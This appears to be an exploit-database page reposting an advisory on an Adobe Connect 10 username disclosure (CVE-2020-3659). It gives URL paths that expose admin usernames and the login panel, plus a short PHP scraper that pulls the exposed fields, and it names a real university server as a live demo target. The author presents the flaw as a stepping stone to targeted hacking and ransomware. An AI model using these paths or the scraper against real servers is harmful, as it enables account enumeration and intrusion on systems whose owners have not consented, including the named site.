Advertisement






Adobe Connect 10 - Username Disclosure

CVE Category Price Severity
CVE-2020-3659 CWE-200 $5,000 High
Author Risk Exploitation Type Date
Unknown High Remote 2021-02-15
CVSS EPSS EPSSP
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2021020086

Below is a copy:

Adobe Connect 10 - Username Disclosure
# Title: Adobe Connect 10 - Username Disclosure
# Author: h4shur
# date:2021-02-07
# Vendor Homepage: https://www.adobe.com
# Software Link: https://www.adobe.com/products/adobeconnect.html
# Version:  10 and earlier
# Tested on: Windows 10 & Google Chrome
# Category : Web Application Bugs


### Description :

*There are many web applications in the world, each of which has vulnerabilities due to developer errors, and this is a problem for all of them, and even the best of them, like the "adobe connect" program, have vulnerabilities that occur every month. They are found and fixed by the team.
*With the disclosure of the admin username, one of the most important steps in the field of targeted hacking can be taken, and as a result, the hacker can more easily achieve his desire, which may be destruction or ransomware attack or infection.

*Given the vulnerability that was released some time ago (https://cxsecurity.com/issue/WLB-2021010128), a hacker with these two vulnerabilities can make significant progress in his targeted hacking.

*For example, by finding the admin username, the hacker can go to the next step of his targeted hacking only by cracking the password or other ways.
And if it encounters a problem at this stage, it can solve the problem at this stage of the hack by knowing the previous vulnerability (https://cxsecurity.com/issue/WLB-2021010128).
Of course, in addition to obtaining a username and password, you also need access to the admin panel.
Protecting your username and password and hiding the admin panel is one of the most important ways to increase security, which unfortunately is largely the case.
I hope that by writing this research, an important step in security can be taken.

*By adding this (/system/help/support) to the end of the desired website address, you can view the username without any filter or obstacle. Sometimes even without a username and password.
And by adding (/system/login) to the end of the desired website address, you can access the admin panel without any filters.


### Tool :
You can use the library (Simple HTML DOM parser) to write the username tool.
for example :
<?php
set_time_limit(-1);
header('Content-Type: text/html; charset=utf-8');
// example of how to use basic selector to retrieve HTML contents
include('simple_html_dom.php');
 
// get DOM from URL or file
$html = file_get_html('site.com/system/help/support');
 
// find all image with full tag
foreach($html->find('input') as $e){
echo $e->outertext . '<br>';
}
?>

### Download Simple HTML DOM parser :
https://github.com/h4shur/Simple-HTML-DOM-parser


### POC :
site.com/system/help/support

### Admin Panel :
site.com/system/login


### demo :
https://vc.shdu.ac.ir/system/help/support

### demo admin panel :
https://vc.shdu.ac.ir/system/login?domain=vc.shdu.ac.ir&next=%2Fadmin%3Fdomain%3Dvc.shdu.ac.ir&set-lang=en&OWASP_CSRFTOKEN=3716d2ba0e5af4b7b2f630670e95d51e13481223818b70951ffcd2f343860bf8


### thanks to :
the shdu.ac.ir site for reviewing it
and all my friends

### contact me :
* Telegram : @h4shur
* Email : [email protected]
* Instagram : @netedit0r  /  @h4shur
* twitter : @h4shur   /  @netedit0r

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum